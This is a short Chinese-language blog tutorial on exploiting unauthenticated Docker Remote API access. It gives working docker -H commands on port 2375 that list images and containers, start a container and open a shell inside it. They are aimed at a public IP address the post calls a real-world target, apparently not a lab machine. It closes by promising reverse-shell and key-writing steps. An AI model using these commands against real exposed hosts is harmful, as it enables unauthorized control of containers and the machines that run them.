浅谈未授权漏洞——Docker未授权
0x01 漏洞简介以及危害
Docker 是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括 VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。存在问题的版本分别为 1.3 和 1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
0x02 漏洞利用过程
利用环境
实战靶机ip:104.235.223.117
攻击机:windows
ip:121.229.219.132
漏洞复现
# 通过未授权漏洞,查看docker版本信息
docker -H 104.235.223.117 version
# 查看一共有哪些容器,启动了哪些容器
docker -H 104.235.223.117:2375 images
docker -H 104.235.223.117:2375 ps
# 如果有没有启动的容器,可以通过下面的命令启动
docker -H 104.235.223.117:2375 run 6646e211f57b
# 进入容器
docker -H 104.235.223.117:2375 exec -it b22e50222615 sh
可以进入docker容器执行相关命令
0x03 改进
还可以通过docker未授权漏洞反弹shell和写入秘钥,相关文档后续完善…